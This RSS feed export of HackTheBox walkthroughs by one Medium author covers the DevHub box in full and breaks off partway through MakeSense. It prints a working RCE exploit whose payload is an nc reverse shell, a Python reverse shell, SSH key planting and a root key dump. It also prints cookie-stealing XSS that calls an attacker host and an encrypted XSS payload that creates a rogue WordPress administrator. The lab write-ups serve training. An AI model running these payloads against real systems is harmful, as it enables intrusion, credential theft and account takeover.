<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Arnav Vaidya on Medium]]></title>
        <description><![CDATA[Stories by Arnav Vaidya on Medium]]></description>
        <link>https://medium.com/@arnavaidya?source=rss-cfc1a7e2a9c0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ozSs_Wk-41rjAMeoIp6a_w.png</url>
            <title>Stories by Arnav Vaidya on Medium</title>
            <link>https://medium.com/@arnavaidya?source=rss-cfc1a7e2a9c0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:17:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@arnavaidya/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DevHub — HackTheBox Walkthrough]]></title>
            <link>https://medium.com/@arnavaidya/devhub-hackthebox-walkthrough-b6eb9ec47c70?source=rss-cfc1a7e2a9c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6eb9ec47c70</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Arnav Vaidya]]></dc:creator>
            <pubDate>Sun, 08 Nov 2026 05:59:00 GMT</pubDate>
            <atom:updated>2026-11-08T05:59:00.936Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*yrGUoR8e_fZ0JZxrXzkuMQ.png" /></figure><blockquote><em>From an exposed MCP inspector to a root shell handed over by the box’s own internal tooling.</em></blockquote><p><strong>DevHub </strong>is a Linux box that rewards reading other people’s code — and process lists — closely. The whole chain hangs together from one recurring mistake: trusting inputs and secrets that were never actually protected. The foothold is a freshly disclosed RCE in an MCP (Model Context Protocol) inspector, the pivot to the user runs through a JupyterLab token leaking in plain sight, and root falls to a privileged internal service that dumps its own SSH keys to anyone who knows the magic word.</p><p>Here’s the full path, with the reasoning behind each move rather than just the commands.</p><h3>TL;DR — The Attack Chain</h3><pre>Nmap → MCPJam Inspector 1.4.2 exposed on port 6274<br>  → CVE-2026-23744 unauthenticated RCE (malicious serverConfig) → shell as mcp-dev<br>  → JupyterLab token leaked in process args → authenticate to local Jupyter API<br>  → SSH port-forward + notebook code execution → shell as analyst (user flag)<br>  → Root-owned OPSMCP service, source readable by analyst → hardcoded API key<br>  → Hidden ops._admin_dump tool still callable → dumps root&#39;s private SSH key<br>  → SSH as root → root flag</pre><p>Two themes run through the entire box: <strong>secrets that were never hidden</strong> (a version banner, a token sitting in a process list, a hardcoded API key) and <strong>services that trust the wrong input</strong> (an inspector that launches any command it’s handed, a tool that’s “hidden” from the listing yet still callable). Keep those in mind as you read.</p><h3>Reconnaissance</h3><p>Every box starts the same way — find out what’s listening. Since the hostname isn’t in DNS yet, point the scan straight at the target IP:</p><pre>nmap -sV -sC -T5 &lt;target_ip&gt;</pre><p>Why: a baseline service/version scan tells us what’s exposed and worth attacking before we commit to anything.</p><pre>22/tcp   open  ssh<br>80/tcp   open  http</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kwoewr07cbrwgXzqjNGcBQ.png" /></figure><p>Only two open ports — SSH and a web server. That immediately tells us the web application is where the interesting attack surface lives. Before browsing, map the hostname so the app loads correctly and vhost routing behaves:</p><pre>echo &quot;&lt;target_ip&gt; devhub.htb&quot; | sudo tee -a /etc/hosts</pre><p>Why: the application is bound to the hostname — hit the raw IP and the site may not serve correctly.</p><h3>Enumerating the Web Application</h3><p>Browsing to http://devhub.htb lands on a developer-focused site. One of its features references <strong>MCPJam</strong>, and following that thread exposes an <strong>MCPJam Inspector</strong> instance on port 6274 — a debugging UI for MCP servers that really shouldn&#39;t be reachable from outside.</p><pre>http://devhub.htb:6274</pre><p>The <strong>Settings</strong> panel discloses the exact version, which is the single most useful piece of information on the whole page:</p><pre>MCPJam Inspector 1.4.2</pre><p>Why it’s a lead: a specific version number is an invitation to go looking for known CVEs. Custom or niche tooling exposed to the internet is exactly where under-reviewed, exploitable code tends to live.</p><h3>Fingerprinting the Inspector API</h3><p>Before firing anything off, confirm how the backend expects to be talked to. The Inspector exposes a connect endpoint:</p><pre>http://devhub.htb:6274/api/mcp/connect</pre><p>Send an empty POST body and let the server tell us what it wants:</p><pre>curl -s -X POST http://devhub.htb:6274/api/mcp/connect \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{}&#39;</pre><p>Why: probing the request shape with an empty body is a cheap way to learn the expected parameters without guessing.</p><pre>{<br>  &quot;success&quot;: false,<br>  &quot;error&quot;: &quot;serverConfig is required&quot;<br>}</pre><p>That error confirms the backend parses a serverConfig object from our input — the exact field the vulnerability abuses.</p><h3>Exploiting the Unauthenticated RCE (CVE-2026–23744)</h3><p>MCPJam Inspector 1.4.2 is affected by <strong>CVE-2026-23744</strong>, an unauthenticated remote code execution flaw in the /api/mcp/connect endpoint.</p><p>The root cause is simple: the Inspector treats the serverConfig object as a trusted description of a local MCP server to launch — including a command and its args. Anyone who can reach the endpoint can just ask it to launch an arbitrary command, and the backend obliges with no authentication at all. The issue affects versions up to 1.4.2 and is fixed in 1.4.3.</p><p>PoC referenced: <a href="https://github.com/d3vn0mi/CVE-2026-23744-POC">github.com/d3vn0mi/CVE-2026–23744-POC</a></p><p>Advisory: <a href="https://github.com/advisories/GHSA-232v-j27c-5pp6">GHSA-232v-j27c-5pp6</a></p><p>The exploit is small — it just posts a serverConfig whose command is a reverse shell:</p><pre>import requests<br>import argparse<br>import urllib3<br><br>urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br>parser = argparse.ArgumentParser()<br>parser.add_argument(&quot;target&quot;, help=&quot;Target MCPJam Inspector URL&quot;)<br>parser.add_argument(&quot;--ip&quot;, required=True, help=&quot;Attacker IP&quot;)<br>parser.add_argument(&quot;--port&quot;, required=True, type=int, help=&quot;Listener port&quot;)<br>args = parser.parse_args()<br>url = f&quot;{args.target}/api/mcp/connect&quot;<br>data = {<br>    &quot;serverConfig&quot;: {<br>        &quot;command&quot;: &quot;busybox&quot;,<br>        &quot;args&quot;: [&quot;nc&quot;, args.ip, str(args.port), &quot;-e&quot;, &quot;/bin/bash&quot;],<br>        &quot;env&quot;: {}<br>    },<br>    &quot;serverId&quot;: &quot;213j1l3jkljkl3j&quot;<br>}<br>requests.post(url, json=data, verify=False)</pre><p>Why: replicating the request the Inspector already makes — a command plus args — means the backend executes our payload exactly as if it were launching a legitimate MCP server.</p><p>Start a listener to catch the shell:</p><pre>nc -lvnp 8888</pre><p>Then run the exploit against the Inspector:</p><pre>python3 exploit.py http://devhub.htb:6274 --ip &lt;attacker_ip&gt; --port 8888</pre><p>Why: confirm execution with a callback to our own listener before investing in anything heavier.</p><pre>connect to [&lt;attacker_ip&gt;] from (UNKNOWN) [&lt;target_ip&gt;] 44322</pre><p>We land our initial foothold as the low-privileged service account mcp-dev.</p><h3>Enumerating the Initial Shell</h3><p>With a shell in hand, the goal shifts to understanding who else lives on the box and what’s running. Listing home directories shows a second, more interesting user:</p><pre>ls -la /home</pre><p>Why: other home directories reveal which accounts are worth pivoting toward.</p><pre>drwxr-x--- 9 analyst analyst 4096 May 27 12:22 analyst<br>drwxr-x--- 4 mcp-dev mcp-dev 4096 May 27 12:22 mcp-dev</pre><p>A quick look at the kernel for completeness:</p><pre>uname -a</pre><pre>Linux devhub 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64</pre><p>The real find is in the process list — a JupyterLab server running as analyst:</p><pre>ps aux | grep -i jupyter</pre><p>Why: the process list often exposes services bound to loopback and, far too often, secrets passed on the command line.</p><pre>analyst 1089 ... jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= ...</pre><p>Two things stand out. The server is bound to 127.0.0.1:8888, so it&#39;s only reachable locally. And — crucially — the full authentication token is sitting right there in the command line.</p><h3>Leaking the JupyterLab Token</h3><p>Because the token is passed as a process argument, any user who can run ps can read it. That&#39;s our key to the analyst session:</p><pre>a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7</pre><p>First, confirm the API is alive from inside the box:</p><pre>curl -s http://127.0.0.1:8888/api</pre><p>Why: a quick liveness check before authenticating confirms the service responds on loopback.</p><pre>{<br>  &quot;version&quot;: &quot;2.17.0&quot;<br>}</pre><p>Then use the leaked token to list the notebook contents:</p><pre>curl -s \<br>  -H &#39;Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7&#39; \<br>  http://127.0.0.1:8888/api/contents</pre><p>Why: the token in the process args is the whole point — it grants full API access to a server running as a more privileged user.</p><p>There’s a notebook called quarterly_analysis.ipynb, but it&#39;s a red herring — just placeholder analytics code with no credentials. The value here isn&#39;t the notebook contents; it&#39;s the ability to <em>create and run</em> a notebook, since Jupyter executes code as the user who owns the server.</p><h3>Pivoting: Persistent Access and Port Forwarding</h3><p>Working through a raw reverse shell is painful, so stabilise access and make the loopback-bound Jupyter service reachable from our own machine. Generate a keypair and drop the public half into mcp-dev&#39;s authorized_keys:</p><pre>ssh-keygen -t ed25519 -f ~/.ssh/pivot_key<br><br>mkdir -p ~/.ssh &amp;&amp; chmod 700 ~/.ssh<br>echo &#39;ssh-ed25519 &lt;your_pubkey&gt; attacker@kali&#39; &gt;&gt; ~/.ssh/authorized_keys<br>chmod 600 ~/.ssh/authorized_keys</pre><p>Why: planting our own key turns a fragile reverse shell into stable, repeatable SSH access.</p><pre>ssh -i ~/.ssh/pivot_key mcp-dev@devhub.htb</pre><p>Since JupyterLab only listens on loopback, set up an SSH local port forward so the UI is available on our attacking machine:</p><pre>ssh -i ~/.ssh/pivot_key -N \<br>  -L 8888:127.0.0.1:8888 \<br>  mcp-dev@devhub.htb</pre><p>Why: the service is invisible externally but reachable on-box — forwarding the port brings that internal surface to us.</p><pre>curl http://127.0.0.1:8888/api</pre><pre>{<br>  &quot;version&quot;: &quot;2.17.0&quot;<br>}</pre><p>With the forward in place, open http://127.0.0.1:8888 in a browser and authenticate using the leaked token.</p><h3>Code Execution as analyst</h3><p>This is the payoff of leaking the token. A Jupyter kernel runs with the privileges of the account that owns the Jupyter process — analyst — so any code we execute inside a new notebook runs as analyst. Create a notebook and run a simple Python reverse shell:</p><pre>import socket<br>import subprocess<br>import os<br><br>s = socket.socket()<br>s.connect((&quot;&lt;attacker_ip&gt;&quot;, 9001))<br>p = subprocess.Popen(<br>    [&quot;/bin/bash&quot;, &quot;-i&quot;],<br>    stdin=s,<br>    stdout=s,<br>    stderr=s<br>)</pre><p>Why: the notebook kernel inherits analyst&#39;s identity, so executing code through it is a direct, authenticated route to a shell as that user.</p><p>With the matching listener ready:</p><pre>nc -lvnp 9001</pre><p>The shell connects back as analyst. Upgrade it to a proper TTY for comfort:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><h3>User Flag</h3><pre>cat /home/analyst/user.txt</pre><p>User flag secured. On to root.</p><h3>Privilege Escalation: Finding a Root Service</h3><p>Escalation starts the same way the foothold did — by looking at what’s running. The process list reveals a Python service running as root:</p><pre>ps aux</pre><p>Why: the owning user sets the stakes. A flaw in a root-run service yields root.</p><pre>root 1095 ... /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py</pre><p>The interesting detail is who owns the <em>source file</em> of that root service:</p><pre>ls -la /opt/opsmcp/</pre><p>Why: if we can read the source of a privileged service, we can learn exactly how to abuse it.</p><pre>-rw-r----- 1 analyst analyst 6021 Mar 16 2026 /opt/opsmcp/server.py</pre><p>The script runs as root, but it&#39;s owned by analyst — so we can read its source. Readable source for a privileged service is often the whole ballgame.</p><h3>Enumerating the OPSMCP Service</h3><p>First, confirm where the service listens:</p><pre>ss -lntup</pre><p>Why: services bound to 127.0.0.1 are invisible externally but reachable from on-box — a classic internal attack surface.</p><pre>tcp LISTEN 127.0.0.1:5000<br>tcp LISTEN 127.0.0.1:8888<br>tcp LISTEN 0.0.0.0:6274<br>tcp LISTEN 0.0.0.0:80<br>tcp LISTEN 0.0.0.0:22</pre><p>It’s bound to 127.0.0.1:5000. Reading the source, the first gift is a hardcoded API key:</p><pre>VALID_API_KEY = &quot;opsmcp_secret_key_4f5a6b7c8d9e0f1a&quot;</pre><p>Along with the documented endpoints:</p><pre>/tools/list<br>/tools/call<br>/health</pre><h3>The Hidden Tool</h3><p>Reading further, the source defines a set of tools deliberately <em>not</em> returned by /tools/list:</p><pre>HIDDEN_TOOLS = {<br>    &quot;ops._admin_dump&quot;: {<br>        &quot;description&quot;: &quot;Emergency credential dump - INTERNAL ONLY&quot;,<br>        &quot;parameters&quot;: {&quot;target&quot;: &quot;string&quot;, &quot;confirm&quot;: &quot;boolean&quot;}<br>    },<br>    &quot;ops._debug_mode&quot;: {<br>        &quot;description&quot;: &quot;Enable debug mode&quot;,<br>        &quot;parameters&quot;: {}<br>    }<br>}</pre><p>Why it matters: this is security-through-obscurity, and it fails for a simple reason — /tools/call validates requests against ALL_TOOLS, a set that includes both the visible <em>and</em> the hidden tools. So even though ops._admin_dump is never advertised, it&#39;s still callable with the API key we already found in the source.</p><h3>Dumping the Root SSH Key</h3><p>The _admin_dump tool does exactly what its description threatens — it dumps credentials, including root&#39;s private SSH key. Invoke it with the hardcoded key:</p><pre>curl -s http://127.0.0.1:5000/tools/call \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -H &#39;X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a&#39; \<br>  -d &#39;{&quot;name&quot;:&quot;ops._admin_dump&quot;,&quot;arguments&quot;:{&quot;target&quot;:&quot;ssh_keys&quot;,&quot;confirm&quot;:true}}&#39;</pre><p>Why: the hidden tool plus the hardcoded key is the entire privilege-escalation primitive — a root-owned service willingly handing out root’s key.</p><p>Then pull the key out of the JSON response and save it:</p><pre>curl -s http://127.0.0.1:5000/tools/call \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -H &#39;X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a&#39; \<br>  -d &#39;{&quot;name&quot;:&quot;ops._admin_dump&quot;,&quot;arguments&quot;:{&quot;target&quot;:&quot;ssh_keys&quot;,&quot;confirm&quot;:true}}&#39; \<br>  | python3 -c &#39;import sys,json; print(json.load(sys.stdin)[&quot;root_private_key&quot;])&#39; &gt; /tmp/root_key<br><br>chmod 600 /tmp/root_key</pre><pre>-----BEGIN OPENSSH PRIVATE KEY-----<br>[... private key redacted ...]<br>-----END OPENSSH PRIVATE KEY-----</pre><h3>Executing as Root</h3><p>With root’s private key in hand, authentication is trivial:</p><pre>ssh -o StrictHostKeyChecking=no -i /tmp/root_key root@devhub.htb</pre><p>Why: a private key found anywhere should be tried everywhere — and this one belongs to root.</p><pre>id</pre><pre>uid=0(root) gid=0(root) groups=0(root)</pre><p>Root.</p><h3>Root Flag</h3><pre>cat /root/root.txt</pre><p>Root flag obtained. Box done.</p><h3>Lessons Learned</h3><p>A few takeaways worth carrying off this box:</p><p><strong>Version strings are reconnaissance gifts.</strong> The entire foothold hinged on the Inspector openly disclosing 1.4.2. Hiding version banners wouldn&#39;t have fixed the vuln, but it slows an attacker down.</p><p><strong>Secrets don’t belong in process arguments.</strong> The JupyterLab token was readable by every local user via ps. Tokens, passwords, and keys should be passed through environment files or config with restrictive permissions, never on the command line.</p><p><strong>Trust the right layer.</strong> The MCPJam Inspector executed any command it was handed through serverConfig. Input that controls command execution has to be authenticated and constrained — decryptability or a well-formed request body is not authorisation.</p><p><strong>Hidden is not protected.</strong> The OPSMCP service tried to hide a dangerous tool by leaving it out of the listing, but still accepted calls to it. Obscurity is not an access control.</p><p><strong>Mind what privileged services can read and return.</strong> A root service that will hand out root’s private key to any caller with a hardcoded key is a single point of total compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GHOCw-ipEeFtbf2ee0QBwQ.png" /></figure><h3>📬 Contact Me</h3><p>If you’d like to discuss cybersecurity, ethical hacking, CTF challenges, or collaboration opportunities, feel free to reach out:</p><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/arnavaidya/">https://www.linkedin.com/in/arnavaidya/</a></li><li><strong>GitHub:</strong> <a href="https://github.com/arnavaidya">https://github.com/arnavaidya</a></li><li><strong>X:</strong> <a href="https://x.com/arnavaidya">https://x.com/arnavaidya</a></li><li><strong>HackTheBox:</strong> ArNavigator</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6eb9ec47c70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MakeSense — HackTheBox Walkthrough]]></title>
            <link>https://medium.com/@arnavaidya/makesense-hackthebox-walkthrough-554d10b2973a?source=rss-cfc1a7e2a9c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/554d10b2973a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Arnav Vaidya]]></dc:creator>
            <pubDate>Sun, 01 Nov 2026 10:20:45 GMT</pubDate>
            <atom:updated>2026-11-01T10:20:45.287Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*37w-K4g44MOUrGl90FRfyA.png" /></figure><blockquote><em>From a hardcoded JavaScript key to a root shell smuggled through an OCR engine.</em></blockquote><p><strong>MakeSense</strong> is a Linux box that rewards reading other people’s code closely. The whole chain hangs together from one bad decision — a symmetric encryption key shipped to every visitor in client-side JavaScript — and ends somewhere genuinely fun: executing PHP as root by <em>drawing it on a canvas</em> and letting Tesseract type it back out for us.</p><p>Here’s the full path, with the reasoning behind each move rather than just the commands.</p><h3>TL;DR — The Attack Chain</h3><pre>Nmap → WordPress (webagency theme) on 443, port 8001 filtered<br>  → Hardcoded AES-GCM key in whisper-wrapper.js → forge encrypted payloads<br>  → Stored XSS in admin session (HttpOnly blocks cookie theft)<br>  → XSS creates a new administrator (h3rm1t) → admin login<br>  → Theme File Editor writes PHP into index.php → RCE as www-data<br>  → wp-config.php &quot;dummy&quot; DB password reused → SSH as walter (user flag)<br>  → Root-owned OCR service on 127.0.0.1:8001 → walter&#39;s password reused again<br>  → No extension filter on save + OCR-as-file-content → write shell.php, executed as root<br>  → Root flag</pre><p>Two themes run through the entire box: <strong>secrets that aren’t secret</strong> (a client-side key, reused passwords) and <strong>trust placed in the wrong layer</strong> (the server trusting anything that decrypts, the OCR service trusting any extension). Keep those in mind as you read.</p><h3>Reconnaissance</h3><p>Every box starts the same way — find out what’s listening.</p><pre>nmap -sV -sC -T4 &lt;target_ip&gt;</pre><p><em>Why:</em> a baseline service/version scan tells us what’s exposed and worth attacking before we commit to anything.</p><pre>22/tcp   open     ssh      OpenSSH 9.6p1 Ubuntu<br>80/tcp   filtered http<br>443/tcp  open     ssl/http Apache httpd 2.4.58<br>8001/tcp filtered vcom-tunnel</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iRWtEi14KwnEwl2pudey2A.png" /></figure><p>SSH (22) and HTTPS (443) are open. Ports 80 and 8001 are <strong>filtered</strong> — not reachable from outside, but very much worth remembering. That 8001 is going to come back as the final boss.</p><p>The TLS certificate’s CN is makesense.htb, so the vhost is bound to the hostname. Map it:</p><pre>echo &quot;&lt;target_ip&gt; makesense.htb&quot; | sudo tee -a /etc/hosts</pre><p><em>Why:</em> the vhost and its TLS cert are tied to the hostname — hit the raw IP and the site won’t serve correctly.</p><h3>Enumerating the Web Application</h3><p>Browsing to https://makesense.htb lands on a WordPress site (&quot;Agency LLC&quot;) running a custom theme called webagency. Custom themes are exactly where interesting, non-standard, under-reviewed code tends to live — so the homepage source is the first thing to read.</p><p>And it pays off immediately. The page wires up a custom voice-transcription (“whisper”) feature through WordPress AJAX:</p><pre>&lt;script id=&quot;whisper-wrapper-js-extra&quot;&gt;<br>var webagency_ajax = {&quot;ajax_url&quot;:&quot;https://makesense.htb/wp-admin/admin-ajax.php&quot;,&quot;nonce&quot;:&quot;85e6eda673&quot;,&quot;theme_url&quot;:&quot;https://makesense.htb/wp-content/themes/webagency&quot;,&quot;site_url&quot;:&quot;https://makesense.htb&quot;};<br>&lt;/script&gt;<br>&lt;script id=&quot;whisper-wrapper-js&quot; src=&quot;https://makesense.htb/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js?ver=1.0&quot;&gt;&lt;/script&gt;</pre><p><em>Why it’s a lead:</em> a public nonce sitting in the page source and a bespoke JS file are both open doors. Custom feature → custom (and often weak) code.</p><h3>Reading whisper-wrapper.js</h3><p>Pull the theme’s whisper script and actually read it:</p><pre>curl -sk https://makesense.htb/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js</pre><p><em>Why:</em> client-side JS on a custom feature frequently leaks how the backend validates requests — and sometimes the secrets themselves.</p><p>The script records audio, runs an in-browser Whisper model, encrypts the transcription, and POSTs it back to WordPress. Encrypting client-side before upload <em>sounds</em> responsible. Then you see this:</p><pre>const ENCRYPTION_KEY = &#39;&lt;REDACTED_KEY&gt;&#39;;<br><br>async encryptPayload(payload) {<br>    const keyMaterial = await crypto.subtle.digest(&#39;SHA-256&#39;, encoder.encode(ENCRYPTION_KEY));<br>    const key = await crypto.subtle.importKey(&#39;raw&#39;, keyMaterial, { name: &#39;AES-GCM&#39; }, false, [&#39;encrypt&#39;]);<br>    const iv = crypto.getRandomValues(new Uint8Array(12));<br>    const encrypted = await crypto.subtle.encrypt({ name: &#39;AES-GCM&#39;, iv: iv }, key, data);<br>    // combined = IV + ciphertext, base64 encoded<br>}</pre><p>A <strong>hardcoded symmetric encryption key</strong>, shipped to every single visitor.</p><p><em>Why it matters:</em> AES-GCM is a perfectly strong algorithm — but a symmetric scheme is only protective while the key is secret. Published in public JavaScript, the key lets <em>anyone</em> encrypt arbitrary payloads exactly the way the real page does. The encryption stops being a security control and becomes a formality we can satisfy ourselves. This is the hinge the whole box turns on.</p><h3>Forging an Encrypted Payload → Stored XSS</h3><p>If we have the key and the scheme, we can reproduce the whole thing in Python and skip the browser, the microphone, and the in-browser model entirely:</p><pre>import hashlib, os, json, base64, sys<br>from cryptography.hazmat.primitives.ciphers.aead import AESGCM<br><br>ENCRYPTION_KEY = b&#39;&lt;REDACTED_KEY&gt;&#39;<br>def encrypt_payload(transcription, summary):<br>    key = hashlib.sha256(ENCRYPTION_KEY).digest()<br>    aesgcm = AESGCM(key)<br>    iv = os.urandom(12)<br>    data = json.dumps({&quot;transcription&quot;: transcription, &quot;summary&quot;: summary}).encode()<br>    ct = aesgcm.encrypt(iv, data, None)<br>    return base64.b64encode(iv + ct).decode()<br>xss = sys.argv[1]<br>print(encrypt_payload(xss, xss))</pre><p><em>Why:</em> replicating the exact scheme (SHA-256 of the key → AES-256-GCM → IV + ciphertext, base64) means the server accepts our payloads as genuine.</p><p>Start with a cheap proof-of-concept — does our injected text actually run in someone’s browser?</p><pre>python3 encryptpayload.py &#39;&lt;script&gt;fetch(&quot;http://&lt;attacker_ip&gt;:8000/c?c=&quot;+btoa(document.cookie))&lt;/script&gt;&#39;</pre><p><em>Why:</em> confirm execution with a callback before investing in a real exploit.</p><p>Submitting is a two-step AJAX dance. First, upload a dummy WAV to mint a post:</p><pre>NONCE=$(curl -sk https://makesense.htb/ | grep -oP &#39;&quot;nonce&quot;:&quot;\K[a-f0-9]+&#39;)<br>echo -n &quot;RIFF&quot; &gt; dummy.wav<br>curl -sk -X POST https://makesense.htb/wp-admin/admin-ajax.php \<br>  -F &quot;action=save_voice_raw&quot; -F &quot;nonce=$NONCE&quot; \<br>  -F &quot;voice_recording=@dummy.wav;type=audio/wav&quot;</pre><p><em>Why:</em> the workflow needs an audio upload to generate a post_id to attach results to. The WAV&#39;s content is irrelevant — only the forged payload that follows matters.</p><pre>{&quot;success&quot;:true,&quot;data&quot;:{&quot;message&quot;:&quot;Audio saved, processing started.&quot;,&quot;post_id&quot;:69}}</pre><p>Now attach the forged, encrypted XSS payload to that post:</p><pre>curl -sk -X POST https://makesense.htb/wp-admin/admin-ajax.php \<br>  -F &quot;action=save_voice_results&quot; -F &quot;nonce=$NONCE&quot; \<br>  -F &quot;post_id=69&quot; -F &quot;encrypted_payload=&lt;blob.txt&quot;</pre><p><em>Why:</em> the server checks only the public nonce and that the blob decrypts. It never verifies a real recording happened, and it never sanitises the stored text. That’s stored XSS.</p><pre>{&quot;success&quot;:true,&quot;data&quot;:{&quot;message&quot;:&quot;Results saved successfully!&quot;,&quot;post_id&quot;:69}}</pre><p>Spin up a listener (python3 -m http.server 8000) and shortly a callback arrives from the box — the transcription text is being rendered <strong>unsanitised in an admin context</strong>. We have stored XSS firing inside the administrator&#39;s session.</p><h3>Escalating XSS → a New Administrator</h3><p>The exfiltrated cookie is a letdown: it decodes to nothing but wp-settings-time-*. The real session cookie is HttpOnly, so straightforward cookie theft is dead.</p><p>No matter — we don’t need the cookie if we can act <em>inside</em> the session that’s already running our code. The payload abuses the admin’s own authenticated session to create a brand-new administrator: scrape the session-bound nonce from user-new.php, then POST a new admin account.</p><p>Rather than hand-encrypt the JavaScript each time, wrap the whole thing in a single script — user_creation.py — that bakes the admin-creation JS into the payload and emits the ready-to-submit encrypted blob:</p><pre>#!/usr/bin/env python3<br>import hashlib, os, json, base64<br>from cryptography.hazmat.primitives.ciphers.aead import AESGCM<br><br># ---- CONFIG ----<br>YOUR_IP = &quot;&lt;attacker_ip&gt;&quot;   # &lt;-- change to your tun0 IP (run: ip a show tun0)<br>NEW_USER = &quot;h3rm1t&quot;<br>NEW_PASS = &quot;P4ssw0rd!2026&quot;<br>NEW_EMAIL = &quot;h3rm1t@evil.com&quot;<br>ENCRYPTION_KEY = b&#39;&lt;REDACTED_KEY&gt;&#39;  # from whisper-wrapper.js<br># ----------------<br><br># JavaScript that runs inside the admin&#39;s authenticated browser.<br># It grabs a fresh session-bound nonce, then creates a new administrator.<br>js = (<br>    &quot;fetch(&#39;/wp-admin/user-new.php&#39;).then(r=&gt;r.text()).then(t=&gt;{&quot;<br>    &quot;const nonce=t.match(/name=\&quot;_wpnonce_create-user\&quot; value=\&quot;([a-f0-9]+)\&quot;/)[1];&quot;<br>    &quot;const referer=t.match(/name=\&quot;_wp_http_referer\&quot; value=\&quot;([^\&quot;]+)\&quot;/)[1];&quot;<br>    &quot;const body=new URLSearchParams();&quot;<br>    &quot;body.append(&#39;action&#39;,&#39;createuser&#39;);&quot;<br>    &quot;body.append(&#39;_wpnonce_create-user&#39;,nonce);&quot;<br>    &quot;body.append(&#39;_wp_http_referer&#39;,referer);&quot;<br>    &quot;body.append(&#39;user_login&#39;,&#39;&quot; + NEW_USER + &quot;&#39;);&quot;<br>    &quot;body.append(&#39;email&#39;,&#39;&quot; + NEW_EMAIL + &quot;&#39;);&quot;<br>    &quot;body.append(&#39;pass1&#39;,&#39;&quot; + NEW_PASS + &quot;&#39;);&quot;<br>    &quot;body.append(&#39;pass2&#39;,&#39;&quot; + NEW_PASS + &quot;&#39;);&quot;<br>    &quot;body.append(&#39;role&#39;,&#39;administrator&#39;);&quot;<br>    &quot;return fetch(&#39;/wp-admin/user-new.php&#39;,{method:&#39;POST&#39;,body});&quot;<br>    &quot;}).then(()=&gt;fetch(&#39;http://&quot; + YOUR_IP + &quot;:8000/pwned?ok=1&#39;))&quot;<br>    &quot;.catch(e=&gt;fetch(&#39;http://&quot; + YOUR_IP + &quot;:8000/pwned?err=&#39;+encodeURIComponent(e.message)));&quot;<br>)<br><br>payload = &quot;&lt;script&gt;&quot; + js + &quot;&lt;/script&gt;&quot;<br><br>def encrypt_payload(transcription, summary):<br>    key = hashlib.sha256(ENCRYPTION_KEY).digest()   # 32-byte AES-256 key<br>    aesgcm = AESGCM(key)<br>    iv = os.urandom(12)                             # 12-byte IV, matches WebCrypto<br>    data = json.dumps({&quot;transcription&quot;: transcription, &quot;summary&quot;: summary}).encode()<br>    ct = aesgcm.encrypt(iv, data, None)             # tag auto-appended<br>    return base64.b64encode(iv + ct).decode()<br><br>print(encrypt_payload(payload, payload))</pre><p><em>Why:</em> because the code runs inside the admin’s session, it inherits their authority. It has to fetch a fresh _wpnonce_create-user first — WordPress binds that nonce to the requesting session, so a statically captured nonce would be useless. This is effectively CSRF driven through XSS. The trailing fetch(.../pwned?...) is a self-reporting beacon — it pings our listener on success (or with the error message on failure), so we know the moment the admin&#39;s browser has run the payload instead of blindly guessing.</p><p>Generate the blob, submit it via save_voice_results against the active post exactly as before, then wait for the /pwned callback on our python3 -m http.server 8000 listener:</p><pre>python3 user_creation.py &gt; admin_blob.txt<br>curl -sk -X POST https://makesense.htb/wp-admin/admin-ajax.php \<br>  -F &quot;action=save_voice_results&quot; -F &quot;nonce=$NONCE&quot; \<br>  -F &quot;post_id=69&quot; -F &quot;encrypted_payload=&lt;admin_blob.txt&quot;</pre><p>Once the beacon fires, log in as our planted 